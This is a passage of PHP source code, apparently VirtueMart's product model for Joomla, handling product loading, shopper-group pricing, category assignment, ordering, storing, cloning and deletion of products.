the shoppergroup id from price must be unsetted. // Otherwise the product becomes the shoppergroup from the price. $priceShoppergroupID = $product->prices[0]['virtuemart_shoppergroup_id']; unset($product->prices[0]['virtuemart_shoppergroup_id']); $product = (object)array_merge ((array)$product, (array)$product->prices[0]); $product->prices[0]['virtuemart_shoppergroup_id'] = $priceShoppergroupID; } else if ( $front and count($product->prices)>1 ) { foreach($product->prices as $price){ if(empty($price['virtuemart_shoppergroup_id'])){ if(empty($emptySpgrpPrice))$emptySpgrpPrice = $price; } else if(in_array($price['virtuemart_shoppergroup_id'],$virtuemart_shoppergroup_ids)){ $spgrpPrice = $price; break; } } if(!empty($spgrpPrice)){ $product = (object)array_merge ((array)$product, (array)$spgrpPrice); //$prices = (array)$spgrpPrice; } else if(!empty($emptySpgrpPrice)){ $product = (object)array_merge ((array)$product, (array)$emptySpgrpPrice); //$prices = (array)$emptySpgrpPrice; } else { vmWarn('COM_VIRTUEMART_PRICE_AMBIGUOUS'); $product = (object)array_merge ((array)$product, (array)$product->prices[0]); //$prices = (array)$product->prices[0]; } } } var $withRating = false; public function getProductSingle ($virtuemart_product_id = NULL, $front = TRUE, $quantity = 1,$customfields=TRUE,$virtuemart_shoppergroup_ids=0) { //$this->fillVoidProduct($front); if (!empty($virtuemart_product_id)) { $virtuemart_product_id = $this->setId ($virtuemart_product_id); } if($virtuemart_shoppergroup_ids===0){ $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getCurrentUser (); if(!is_array($currentVMuser->shopper_groups)){ $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; } else { $virtuemart_shoppergroup_ids = $currentVMuser->shopper_groups; } } $virtuemart_shoppergroup_idsString = 0; if(!empty($virtuemart_shoppergroup_ids) and is_array($virtuemart_shoppergroup_ids)){ $virtuemart_shoppergroup_idsString = implode('',$virtuemart_shoppergroup_ids); } else if(!empty($virtuemart_shoppergroup_ids)){ $virtuemart_shoppergroup_idsString = $virtuemart_shoppergroup_ids; } $front = $front?TRUE:0; $customfields = $customfields?TRUE:0; $this->withRating = $this->withRating?TRUE:0; $productKey = $virtuemart_product_id.$virtuemart_shoppergroup_idsString.$quantity.$front.$customfields.$this->withRating; //$productKey = md5($virtuemart_product_id.$front.$quantity.$customfields.$this->withRating.$virtuemart_shoppergroup_idsString); static $_productsSingle = array(); if (array_key_exists ($productKey, $_productsSingle)) { //vmdebug('getProduct, take from cache '.$productKey); return $_productsSingle[$productKey]; } else if(!$customfields or !$this->withRating){ $productKey = $virtuemart_product_id.$virtuemart_shoppergroup_idsString.$quantity.TRUE.TRUE.$this->withRating; //vmdebug('getProductSingle, recreate $productKey '.$productKey); if (array_key_exists ($productKey, $_productsSingle)) { //vmdebug('getProductSingle, take from cache recreated key',$_productsSingle[$productKey]); return $_productsSingle[$productKey]; } } if (!empty($this->_id)) { // $joinIds = array('virtuemart_product_price_id' =>'#__virtuemart_product_prices','virtuemart_manufacturer_id' =>'#__virtuemart_product_manufacturers','virtuemart_customfield_id' =>'#__virtuemart_product_customfields'); if($this->withRating){ $joinIds = array('rating' => '#__virtuemart_ratings','virtuemart_manufacturer_id' => '#__virtuemart_product_manufacturers', 'virtuemart_customfield_id' => '#__virtuemart_product_customfields'); } else { $joinIds = array('virtuemart_manufacturer_id' => '#__virtuemart_product_manufacturers', 'virtuemart_customfield_id' => '#__virtuemart_product_customfields'); } $product = $this->getTable ('products'); $product->load ($this->_id, 0, 0, $joinIds); $xrefTable = $this->getTable ('product_medias'); $product->virtuemart_media_id = $xrefTable->load ((int)$this->_id); // Load the shoppers the product is available to for Custom Shopper Visibility $product->shoppergroups = $this->getProductShoppergroups ($this->_id); if (!empty($product->shoppergroups) and $front) { if (!class_exists ('VirtueMartModelUser')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'user.php'); } $commonShpgrps = array_intersect ($virtuemart_shoppergroup_ids, $product->shoppergroups); if (empty($commonShpgrps)) { vmdebug('getProductSingle creating void product, usergroup does not fit ',$product->shoppergroups); return $this->fillVoidProduct ($front); } } $this->getProductPrices($product,$quantity,$virtuemart_shoppergroup_ids,$front); if (!empty($product->virtuemart_manufacturer_id)) { $mfTable = $this->getTable ('manufacturers'); $mfTable->load ((int)$product->virtuemart_manufacturer_id); $product = (object)array_merge ((array)$mfTable, (array)$product); } else { $product->virtuemart_manufacturer_id = array(); $product->mf_name = ''; $product->mf_desc = ''; $product->mf_url = ''; } // Load the categories the product is in //$product->categories = $this->getProductCategories ($this->_id, $front); $product->categories = $this->getProductCategories ($this->_id, FALSE); //We need also the unpublished categories, else the calculation rules do not work if(!empty($product->product_url)){ $product->canonCatLink = $product->product_url; } else if(!empty($product->categories)){ $categories = $this->getProductCategories ($this->_id, TRUE); //only published if($categories){ if(!is_array($categories)) $categories = (array)$categories; $product->canonCatLink = $categories[0]; } } $product->virtuemart_category_id = 0; if ($front) { if (!empty($product->categories) and is_array ($product->categories) and count($product->categories)>1){ if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } //We must first check if we come from another category, due the canoncial link we would have always the same catgory id for a product //But then we would have wrong neighbored products / category and product layouts $last_category_id = shopFunctionsF::getLastVisitedCategoryId (); if ($last_category_id!==0 and in_array ($last_category_id, $product->categories)) { $product->virtuemart_category_id = $last_category_id; //vmdebug('I take for product the last category ',$last_category_id,$product->categories); } else { $virtuemart_category_id = vRequest::getInt ('virtuemart_category_id', 0); if ($virtuemart_category_id!==0 and in_array ($virtuemart_category_id, $product->categories)) { $product->virtuemart_category_id = $virtuemart_category_id; //vmdebug('I take for product the requested category ',$virtuemart_category_id,$product->categories); } else { if (!empty($product->categories) and is_array ($product->categories) and array_key_exists (0, $product->categories)) { $product->virtuemart_category_id = $product->canonCatLink; //vmdebug('I take for product the main category ',$product->virtuemart_category_id,$product->categories); } } } } else if(!empty($product->canonCatLink)) { $product->virtuemart_category_id = $product->canonCatLink; } } else { //This construction should allow us to see category depended prices in the BE $virtuemart_category_id = JRequest::getInt ('virtuemart_category_id', 0); if($virtuemart_category_id!==0 and !empty($product->categories) ) { if(is_array($product->categories) and in_array ($virtuemart_category_id, $product->categories)){ $product->virtuemart_category_id = $virtuemart_category_id; } else if($product->categories==$virtuemart_category_id) { $product->virtuemart_category_id = $virtuemart_category_id; } } if (empty($product->virtuemart_category_id)) { if (!empty($product->categories) and is_array ($product->categories) and !empty($product->categories[0])) { $product->virtuemart_category_id = $product->categories[0]; } else { $product->virtuemart_category_id = null; } } // vmdebug('getProductSingle BE request $virtuemart_category_id',$virtuemart_category_id,$product->virtuemart_category_id); } if(!empty($product->virtuemart_category_id)){ $q = 'SELECT `ordering`,`id` FROM `#__virtuemart_product_categories` WHERE `virtuemart_product_id` = "' . $this->_id . '" and `virtuemart_category_id`= "' . $product->virtuemart_category_id . '" '; $this->_db->setQuery ($q); // change for faster ordering $ordering = $this->_db->loadObject (); if (!empty($ordering)) { $product->ordering = $ordering->ordering; //This is the ordering id in the list to store the ordering notice by Max Milbers $product->id = $ordering->id; } else { $product->ordering = $this->_autoOrder++; $product->id = $this->_autoOrder; vmdebug('$product->virtuemart_category_id no ordering stored for '.$ordering->id); } $catTable = $this->getTable ('categories'); $catTable->load ($product->virtuemart_category_id); $product->category_name = $catTable->category_name; } else { $product->category_name = null; $product->virtuemart_category_id = null; $product->ordering = null; $product->id = $this->_autoOrder++; vmdebug('$product->virtuemart_category_id is empty'); } if (!$front and $customfields) { if(!$this->listing){ $customfieldModel = VmModel::getModel ('Customfields'); $product->customfields = $customfieldModel->getproductCustomslist ($this->_id); if (empty($product->customfields) and !empty($product->product_parent_id)) { //$product->customfields = $this->productCustomsfieldsClone($product->product_parent_id,true) ; $product->customfields = $customfieldModel->getproductCustomslist ($product->product_parent_id, $this->_id); $product->customfields_fromParent = TRUE; } } } else if($customfields){ //only needed in FE productdetails, is now loaded in the view.html.php // /* Load the neighbours */ // $product->neighbours = $this->getNeighborProducts($product); // Fix the product packaging if ($product->product_packaging) { $product->packaging = $product->product_packaging & 0xFFFF; $product->box = ($product->product_packaging >> 16) & 0xFFFF; } else { $product->packaging = ''; $product->box = ''; } // set the custom variants //vmdebug('getProductSingle id '.$product->virtuemart_product_id.' $product->virtuemart_customfield_id '.$product->virtuemart_customfield_id); if (!empty($product->virtuemart_customfield_id)) { $customfieldModel = VmModel::getModel ('Customfields'); // Load the custom product fields $product->customfields = $customfieldModel->getProductCustomsField ($product); $product->customfieldsRelatedCategories = $customfieldModel->getProductCustomsFieldRelatedCategories ($product); $product->customfieldsRelatedProducts = $customfieldModel->getProductCustomsFieldRelatedProducts ($product); // custom product fields for add to cart $product->customfieldsCart = $customfieldModel->getProductCustomsFieldCart ($product); $child = $this->getProductChilds ($this->_id); $product->customsChilds = $customfieldModel->getProductCustomsChilds ($child, $this->_id); } // Check the stock level if (empty($product->product_in_stock)) { $product->product_in_stock = 0; } } $_productsSingle[$productKey] = $product; } else { $_productsSingle[$productKey] = $this->fillVoidProduct ($front); } $this->product = $_productsSingle[$productKey]; return $_productsSingle[$productKey]; } /** * This fills the empty properties of a product * todo add if(!empty statements * * @author Max Milbers * @param unknown_type $product * @param unknown_type $front */ private function fillVoidProduct ($front = TRUE) { /* Load an empty product */ $product = $this->getTable ('products'); $product->load (); /* Add optional fields */ $product->virtuemart_manufacturer_id = NULL; $product->virtuemart_product_price_id = NULL; if (!class_exists ('VirtueMartModelVendor')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); } //$product->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); $product->product_price = NULL; $product->product_currency = NULL; $product->product_price_quantity_start = NULL; $product->product_price_quantity_end = NULL; $product->product_price_publish_up = NULL; $product->product_price_publish_down = NULL; $product->product_tax_id = NULL; $product->product_discount_id = NULL; $product->product_override_price = NULL; $product->override = NULL; $product->categories = array(); $product->shoppergroups = array(); if ($front) { $product->link = ''; $product->prices = array(); $product->virtuemart_category_id = 0; $product->virtuemart_shoppergroup_id = 0; $product->mf_name = ''; $product->packaging = ''; $product->related = ''; $product->box = ''; } return $product; } /** * Load the product category * * @author Kohl Patrick,Max Milbers * @return array list of categories product is in */ public function getProductCategories ($virtuemart_product_id = 0, $front = FALSE) { $categories = array(); if ($virtuemart_product_id > 0) { $q = 'SELECT pc.`virtuemart_category_id` FROM `#__virtuemart_product_categories` as pc'; if ($front) { $q .= ' LEFT JOIN `#__virtuemart_categories` as c ON c.`virtuemart_category_id` = pc.`virtuemart_category_id`'; } $q .= ' WHERE pc.`virtuemart_product_id` = ' . (int)$virtuemart_product_id; if ($front) { $q .= ' AND `published`=1 ORDER BY `c`.`ordering` ASC'; } //$q .= ' ORDER BY `pc`.`ordering` DESC '; $this->_db->setQuery ($q); $categories = $this->_db->loadResultArray (); } return $categories; } /** * Load the product shoppergroups * * @author Kohl Patrick,Max Milbers, Cleanshooter * @return array list of updateProductShoppergroupsTable that can view the product */ private function getProductShoppergroups ($virtuemart_product_id = 0) { $shoppergroups = array(); if ($virtuemart_product_id > 0) { $q = 'SELECT `virtuemart_shoppergroup_id` FROM `#__virtuemart_product_shoppergroups` WHERE `virtuemart_product_id` = "' . (int)$virtuemart_product_id . '"'; $this->_db->setQuery ($q); $shoppergroups = $this->_db->loadResultArray (); } return $shoppergroups; } /** * Get the products in a given category * * @author RolandD * @access public * @param int $virtuemart_category_id the category ID where to get the products for * @return array containing product objects */ public function getProductsInCategory ($categoryId) { $ids = $this->sortSearchListQuery (TRUE, $categoryId); $this->products = $this->getProducts ($ids); return $this->products; } /** * Loads different kind of product lists. * you can load them with calculation or only published onces, very intersting is the loading of groups * valid values are latest, topten, featured, recent. * * The function checks itself by the config if the user is allowed to see the price or published products * * @author Max Milbers */ public function getProductListing ($group = FALSE, $nbrReturnProducts = FALSE, $withCalc = TRUE, $onlyPublished = TRUE, $single = FALSE, $filterCategory = TRUE, $category_id = 0) { $app = JFactory::getApplication (); if ($app->isSite ()) { $front = TRUE; if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if (!Permissions::getInstance ()->check ('admin', 'storeadmin')) { $onlyPublished = TRUE; if ($show_prices = VmConfig::get ('show_prices', 1) == '0') { $withCalc = FALSE; } } } else { $front = FALSE; } $this->setFilter (); if ($filterCategory === TRUE) { if ($category_id) { $this->virtuemart_category_id = $category_id; } } else { $this->virtuemart_category_id = FALSE; } $ids = $this->sortSearchListQuery ($onlyPublished, $this->virtuemart_category_id, $group, $nbrReturnProducts); //quickndirty hack for the BE list, we can do that, because in vm2.1 this is anyway fixed correctly $this->listing = TRUE; $products = $this->getProducts ($ids, $front, $withCalc, $onlyPublished, $single); $this->listing = FALSE; return $products; } /** * overriden getFilter to persist filters * * @author OSP */ public function setFilter () { $app = JFactory::getApplication (); if (!$app->isSite ()) { //persisted filter only in admin $view = JRequest::getWord ('view'); $mainframe = JFactory::getApplication (); $this->virtuemart_category_id = $mainframe->getUserStateFromRequest ('com_virtuemart.' . $view . '.filter.virtuemart_category_id', 'virtuemart_category_id', 0, 'int'); $this->setState ('virtuemart_category_id', $this->virtuemart_category_id); $this->virtuemart_manufacturer_id = $mainframe->getUserStateFromRequest ('com_virtuemart.' . $view . '.filter.virtuemart_manufacturer_id', 'virtuemart_manufacturer_id', 0, 'int'); $this->setState ('virtuemart_manufacturer_id', $this->virtuemart_manufacturer_id); } else { $this->virtuemart_category_id = JRequest::getInt ('virtuemart_category_id', FALSE); } } /** * Returns products for given array of ids * * @author Max Milbers * @param int $productIds * @param boolean $front * @param boolean $withCalc * @param boolean $onlyPublished */ public function getProducts ($productIds, $front = TRUE, $withCalc = TRUE, $onlyPublished = TRUE, $single = FALSE) { if (empty($productIds)) { return array(); } $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getCurrentUser (); if(!is_array($currentVMuser->shopper_groups)){ $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; } else { $virtuemart_shoppergroup_ids = $currentVMuser->shopper_groups; } $maxNumber = VmConfig::get ('absMaxProducts', 700); $products = array(); $i = 0; if ($single) { foreach ($productIds as $id) { if ($product = $this->getProductSingle ((int)$id, $front,1,TRUE,$virtuemart_shoppergroup_ids)) { $products[] = $product; $i++; } if ($i > $maxNumber) { vmdebug ('Better not to display more than ' . $maxNumber . ' products'); return $products; } } } else { foreach ($productIds as $id) { if ($product = $this->getProduct ((int)$id, $front, $withCalc, $onlyPublished, 1, TRUE, $virtuemart_shoppergroup_ids)) { $products[] = $product; $i++; } if ($i > $maxNumber) { vmdebug ('Better not to display more than ' . $maxNumber . ' products'); return $products; } } } return $products; } /** * This function retrieves the "neighbor" products of a product specified by $virtuemart_product_id * Neighbors are the previous and next product in the current list * * @author Max Milbers * @param object $product The product to find the neighours of * @return array */ public function getNeighborProducts ($product, $onlyPublished = TRUE, $max = 1) { $db = JFactory::getDBO (); $neighbors = array('previous' => '', 'next' => ''); $oldDir = $this->filter_order_Dir; $this->_onlyQuery = true; if($this->filter_order_Dir=='ASC'){ $direction = 'DESC'; $op = '<='; } else { $direction = 'ASC'; $op = '>='; } $this->filter_order_Dir = $direction; //We try the method to get exact the next product, the other method would be to get the list of the browse view again and do a match //with the product id and giving back the neighbours $queryArray = $this->sortSearchListQuery($onlyPublished,(int)$product->virtuemart_category_id,false,1); if(isset($queryArray[1])){ $pos= strpos($queryArray[3],'ORDER BY'); $sp = array(); if($pos){ $orderByName = trim(substr ($queryArray[3],($pos+8)) ); $orderByName = str_replace('`','',$orderByName); if(strpos($orderByName,'.')){ $sp = explode('.',$orderByName); $orderByName = $sp[1]; } } $q = 'SELECT p.`virtuemart_product_id`, l.`product_name`, `pc`.ordering FROM `#__virtuemart_products` as p'; $joinT = ''; if(is_array($queryArray[1])){ $joinT = implode('',$queryArray[1]); } $q .= $joinT . ' WHERE (' . implode (' AND ', $queryArray[2]) . ') AND l.`virtuemart_product_id`!="'.$product->virtuemart_product_id.'" '; if(isset($product->$orderByName)){ $orderByValue = $product->$orderByName; if(isset($sp[0])){ $orderByName = '`'.$sp[0].'`.'.$orderByName; } } else { $orderByName = 'product_name'; $orderByValue = $product->product_name; } foreach ($neighbors as &$neighbor) { $qm = ' AND '.$orderByName.' '.$op.' "'.$orderByValue.'" ORDER BY '.$orderByName.' '.$direction.' LIMIT 1'; $db->setQuery ($q.$qm); //vmdebug('getNeighborProducts ',$q.$qm); if ($result = $db->loadAssocList ()) { $neighbor = $result; } if($this->filter_order_Dir=='ASC'){ $direction = 'DESC'; $op = '<='; } else { $direction = 'ASC'; $op = '>='; } } } $this->filter_order_Dir = $oldDir; $this->_onlyQuery = false; return $neighbors; } /* reorder product in one category * TODO this not work perfect ! (Note by Patrick Kohl) */ function saveorder ($cid = array(), $order, $filter = NULL) { JRequest::checkToken () or jexit ('Invalid Token'); $virtuemart_category_id = JRequest::getInt ('virtuemart_category_id', 0); $q = 'SELECT `id`,`ordering` FROM `#__virtuemart_product_categories` WHERE virtuemart_category_id=' . (int)$virtuemart_category_id . ' ORDER BY `ordering` ASC'; $this->_db->setQuery ($q); $pkey_orders = $this->_db->loadObjectList (); $tableOrdering = array(); foreach ($pkey_orders as $orderTmp) { $tableOrdering[$orderTmp->id] = $orderTmp->ordering; } // set and save new ordering foreach ($order as $key => $ord) { $tableOrdering[$key] = $ord; } asort ($tableOrdering); $i = 1; $ordered = 0; foreach ($tableOrdering as $key => $ord) { // if ($order != $i) { $this->_db->setQuery ('UPDATE `#__virtuemart_product_categories` SET `ordering` = ' . $i . ' WHERE `id` = ' . (int)$key . ' '); if (!$this->_db->query ()) { vmError ($this->_db->getErrorMsg ()); return FALSE; } $ordered++; // } $i++; } if ($ordered) { $msg = JText::sprintf ('COM_VIRTUEMART_ITEMS_MOVED', $ordered); } else { $msg = JText::_ ('COM_VIRTUEMART_ITEMS_NOT_MOVED'); } JFactory::getApplication ()->redirect ('index.php?option=com_virtuemart&view=product&virtuemart_category_id=' . $virtuemart_category_id, $msg); } /** * Moves the order of a record * * @param integer The increment to reorder by */ function move ($direction, $filter = NULL) { JRequest::checkToken () or jexit ('Invalid Token'); // Check for request forgeries $table = $this->getTable ('product_categories'); $table->move ($direction); JFactory::getApplication ()->redirect ('index.php?option=com_virtuemart&view=product&virtuemart_category_id=' . JRequest::getInt ('virtuemart_category_id', 0)); } /** * Store a product * * @author Max Milbers * @param $product given as reference * @param bool $isChild Means not that the product is child or not. It means if the product should be threated as child * @return bool */ public function store (&$product, $isChild = FALSE) { JRequest::checkToken () or jexit ('Invalid Token'); if ($product) { $data = (array)$product; } if (!class_exists ('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); $perm = Permissions::getInstance(); $superVendor = $perm->isSuperVendor(); if(empty($superVendor)){ vmError('You are not a vendor or administrator, storing of product cancelled'); return FALSE; } if (isset($data['intnotes'])) { $data['intnotes'] = trim ($data['intnotes']); } // Setup some place holders $product_data = $this->getTable ('products'); if(!empty($data['virtuemart_product_id'])){ $product_data -> load($data['virtuemart_product_id']); } //Set the decimals like product packaging //$decimals = array('product_length','product_width','product_height','product_weight','product_packaging'); foreach($this->decimals as $decimal){ if (array_key_exists ($decimal, $data)) { if(!empty($data[$decimal])){ $data[$decimal] = str_replace(',','.',$data[$decimal]); } else { $data[$decimal] = null; $product_data->$decimal = null; //vmdebug('Store product, set $decimal '.$decimal.' = null'); } } } //with the true, we do preloading and preserve so old values note by Max Milbers // $product_data->bindChecknStore ($data, $isChild); //We prevent with this line, that someone is storing a product as its own parent if(!empty($product_data->product_parent_id) and $product_data->product_parent_id == $data['virtuemart_product_id']){ $product_data->product_parent_id = 0; } $stored = $product_data->bindChecknStore ($data, false); $errors = $product_data->getErrors (); if(!$stored or count($errors)>0){ foreach ($errors as $error) { vmError ('Product store '.$error); } if(!$stored){ vmError('You are not an administrator or the correct vendor, storing of product cancelled'); } return FALSE; } $this->_id = $data['virtuemart_product_id'] = (int)$product_data->virtuemart_product_id; if (empty($this->_id)) { vmError('Product not stored, no id'); return FALSE; } //We may need to change this, the reason it is not in the other list of commands for parents if (!$isChild) { if (!empty($data['save_customfields'])) { if (!class_exists ('VirtueMartModelCustomfields')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'customfields.php'); } VirtueMartModelCustomfields::storeProductCustomfields ('product', $data, $product_data->virtuemart_product_id); } } // Get old IDS $old_price_ids = $this->loadProductPrices($this->_id,0,0,false); //vmdebug('$old_price_ids ',$old_price_ids); if (isset($data['mprices']['product_price']) and count($data['mprices']['product_price']) > 0){ foreach($data['mprices']['product_price'] as $k => $product_price){ $pricesToStore = array(); $pricesToStore['virtuemart_product_id'] = $this->_id; $pricesToStore['virtuemart_product_price_id'] = (int)$data['mprices']['virtuemart_product_price_id'][$k]; if (!$isChild){ //$pricesToStore['basePrice'] = $data['mprices']['basePrice'][$k]; $pricesToStore['product_override_price'] = $data['mprices']['product_override_price'][$k]; $pricesToStore['override'] = (int)$data['mprices']['override'][$k]; $pricesToStore['virtuemart_shoppergroup_id'] = (int)$data['mprices']['virtuemart_shoppergroup_id'][$k]; $pricesToStore['product_tax_id'] = (int)$data['mprices']['product_tax_id'][$k]; $pricesToStore['product_discount_id'] = (int)$data['mprices']['product_discount_id'][$k]; $pricesToStore['product_currency'] = (int)$data['mprices']['product_currency'][$k]; $pricesToStore['product_price_publish_up'] = $data['mprices']['product_price_publish_up'][$k]; $pricesToStore['product_price_publish_down'] = $data['mprices']['product_price_publish_down'][$k]; $pricesToStore['price_quantity_start'] = (int)$data['mprices']['price_quantity_start'][$k]; $pricesToStore['price_quantity_end'] = (int)$data['mprices']['price_quantity_end'][$k]; } if (!$isChild and isset($data['mprices']['use_desired_price'][$k]) and $data['mprices']['use_desired_price'][$k] == "1") { if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); $pricesToStore['salesPrice'] = $data['mprices']['salesPrice'][$k]; $pricesToStore['product_price'] = $data['mprices']['product_price'][$k] = $calculator->calculateCostprice ($this->_id, $pricesToStore); unset($data['mprices']['use_desired_price'][$k]); } else { if(isset($data['mprices']['product_price'][$k]) ){ $pricesToStore['product_price'] = $data['mprices']['product_price'][$k]; } } if ($isChild) $childPrices = $this->loadProductPrices($this->_id,0,0,false); if ((isset($pricesToStore['product_price']) and $pricesToStore['product_price']!='') || (isset($childPrices) and count($childPrices)>1)) { if ($isChild) { //$childPrices = $this->loadProductPrices($pricesToStore['virtuemart_product_price_id'],0,0,false); if(is_array($old_price_ids) and count($old_price_ids)>1){ //We do not touch multiple child prices. Because in the parent list, we see no price, the gui is //missing to reflect the information properly. $pricesToStore = false; $old_price_ids = array(); } else { unset($data['mprices']['product_override_price'][$k]); unset($pricesToStore['product_override_price']); unset($data['mprices']['override'][$k]); unset($pricesToStore['override']); } } //$data['mprices'][$k] = $data['virtuemart_product_id']; if($pricesToStore){ $toUnset = array(); foreach($old_price_ids as $key => $oldprice){ if(array_search($pricesToStore['virtuemart_product_price_id'], $oldprice )){ $pricesToStore = array_merge($oldprice,$pricesToStore); $toUnset[] = $key; } } $this->updateXrefAndChildTables ($pricesToStore, 'product_prices',$isChild); foreach($toUnset as $key){ unset( $old_price_ids[ $key ] ); } } } } } if ( count($old_price_ids) ) { $oldPriceIdsSql = array(); foreach($old_price_ids as $oldPride){ $oldPriceIdsSql[] = $oldPride['virtuemart_product_price_id']; } // delete old unused Prices $this->_db->setQuery( 'DELETE FROM `#__virtuemart_product_prices` WHERE `virtuemart_product_price_id` in ("'.implode('","', $oldPriceIdsSql ).'") '); $this->_db->query(); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmWarn('In store prodcut, deleting old price error',$err); } } if (!empty($data['childs'])) { foreach ($data['childs'] as $productId => $child) { $child['product_parent_id'] = $data['virtuemart_product_id']; $child['virtuemart_product_id'] = $productId; $this->store ($child, TRUE); } } if (!$isChild) { $data = $this->updateXrefAndChildTables ($data, 'product_shoppergroups'); $data = $this->updateXrefAndChildTables ($data, 'product_manufacturers'); if (!empty($data['categories']) && count ($data['categories']) > 0) { $data['virtuemart_category_id'] = $data['categories']; } else { $data['virtuemart_category_id'] = array(); } $data = $this->updateXrefAndChildTables ($data, 'product_categories'); // Update waiting list //TODO what is this doing? if (!empty($data['notify_users'])) { if ($data['product_in_stock'] > 0 && $data['notify_users'] == '1') { $waitinglist = VmModel::getModel ('Waitinglist'); $waitinglist->notifyList ($data['virtuemart_product_id']); } } // Process the images $mediaModel = VmModel::getModel ('Media'); $mediaModel->storeMedia ($data, 'product'); $errors = $mediaModel->getErrors (); foreach ($errors as $error) { vmError ($error); } } return $product_data->virtuemart_product_id; } public function updateXrefAndChildTables ($data, $tableName, $preload = FALSE) { JRequest::checkToken () or jexit ('Invalid Token'); //First we load the xref table, to get the old data $product_table_Parent = $this->getTable ($tableName); //We must go that way, because the load function of the vmtablexarry // is working different. if($preload){ //$product_table_Parent->setOrderable('ordering',false); $orderingA = $product_table_Parent->load($data['virtuemart_product_id']); } $product_table_Parent->bindChecknStore ($data); $errors = $product_table_Parent->getErrors (); foreach ($errors as $error) { vmError ($error); } return $data; } /** * This function creates a child for a given product id * * @author Max Milbers * @author Patrick Kohl * @param int id of parent id */ public function createChild ($id) { // created_on , modified_on $db = JFactory::getDBO (); $vendorId = 1; $childs = count ($this->getProductChildIds ($id)); $db->setQuery ('SELECT `product_name`,`slug` FROM `#__virtuemart_products` JOIN `#__virtuemart_products_' . VMLANG . '` as l using (`virtuemart_product_id`) WHERE `virtuemart_product_id`=' . (int)$id); $parent = $db->loadObject (); $prodTable = $this->getTable ('products'); //$newslug = $parent->slug . $id . rand (1, 9); $newslug = $prodTable->checkCreateUnique('products_' . VmConfig::$vmlang,$parent->slug); $data = array('product_name' => $parent->product_name, 'slug' => $newslug, 'virtuemart_vendor_id' => (int)$vendorId, 'product_parent_id' => (int)$id); $prodTable->bindChecknStore ($data); $langs = (array)VmConfig::get ('active_languages'); if (count ($langs) > 1) { foreach ($langs as $lang) { $lang = str_replace ('-', '_', strtolower ($lang)); $db->setQuery ('SELECT `product_name` FROM `#__virtuemart_products_' . $lang . '` WHERE `virtuemart_product_id` = "' . $prodTable->virtuemart_product_id . '" '); $res = $db->loadResult (); if (!$res) { $db->setQuery ('INSERT INTO `#__virtuemart_products_' . $lang . '` (`virtuemart_product_id`,`slug`) VALUES ("' . $prodTable->virtuemart_product_id . '","' . $newslug . '");'); $db->query (); $err = $db->getErrorMsg (); if (!empty($err)) { vmError ('Database error: createChild ' . $err); } } } } return $data['virtuemart_product_id']; } /** * Creates a clone of a given product id * * @author Max Milbers * @param int $virtuemart_product_id */ public function createClone ($id) { // if (is_array($cids)) $cids = array($cids); $product = $this->getProduct ($id, FALSE, FALSE, FALSE); $product->field = $this->productCustomsfieldsClone ($id); // vmdebug('$product->field',$product->field); $product->virtuemart_product_id = $product->virtuemart_product_price_id = 0; $product->mprices = $this->productPricesClone ($id); //Lets check if the user is admin or the mainvendor if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $admin = Permissions::getInstance()->check('admin'); if($admin){ $product->created_on = "0000-00-00 00:00:00"; $product->created_by = 0; } $product->slug = $product->slug . '-' . $id; $product->save_customfields = 1; JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $result=$dispatcher->trigger ('plgVmCloneProduct', array(&$product)); $this->store ($product); return $this->_id; } private function productPricesClone ($virtuemart_product_id) { $this->_db = JFactory::getDBO (); $q = "SELECT * FROM `#__virtuemart_product_prices`"; $q .= " WHERE `virtuemart_product_id` = " . $virtuemart_product_id; $this->_db->setQuery ($q); $prices = $this->_db->loadAssocList (); if ($prices) { foreach ($prices as $k => &$price) { unset($price['virtuemart_product_id'], $price['virtuemart_product_price_id']); if(empty($mprices[$k])) $mprices[$k] = array(); foreach ($price as $i => $value) { if(empty($mprices[$i])) $mprices[$i] = array(); $mprices[$i][$k] = $value; } } return $mprices; } else { return NULL; } } /* look if whe have a product type */ private function productCustomsfieldsClone ($virtuemart_product_id) { $this->_db = JFactory::getDBO (); $q = "SELECT * FROM `#__virtuemart_product_customfields`"; $q .= " WHERE `virtuemart_product_id` = " . $virtuemart_product_id; $this->_db->setQuery ($q); $customfields = $this->_db->loadAssocList (); if ($customfields) { foreach ($customfields as &$customfield) { unset($customfield['virtuemart_product_id'], $customfield['virtuemart_customfield_id']); } return $customfields; } else { return NULL; } } /** * removes a product and related table entries * * @author Max Milberes */ public function remove ($ids) { $table = $this->getTable ($this->_maintablename); $cats = $this->getTable ('product_categories'); $customfields = $this->getTable ('product_customfields'); $manufacturers = $this->getTable ('product_manufacturers'); $medias = $this->getTable ('product_medias'); $prices = $this->getTable ('product_prices'); $shop = $this->getTable ('product_shoppergroups'); $rating = $this->getTable ('ratings'); $review = $this->getTable ('rating_reviews'); $votes = $this->getTable ('rating_votes'); $ok = TRUE; foreach ($ids as $id) { $childIds = $this->getProductChildIds ($id); if (!empty($childIds)) { vmError (JText::_ ('COM_VIRTUEMART_PRODUCT_CANT_DELETE_CHILD')); $ok = FALSE; continue; } if (!$table->delete ($id)) { vmError ('Product delete ' . $table->getError ()); $ok = FALSE; } if (!$cats->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete categories ' . $cats->getError ()); $ok = FALSE; } if (!$customfields->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete customs ' . $customfields->getError ()); $ok = FALSE; } $db = JFactory::getDbo(); $q = 'SELECT `virtuemart_customfield_id` FROM 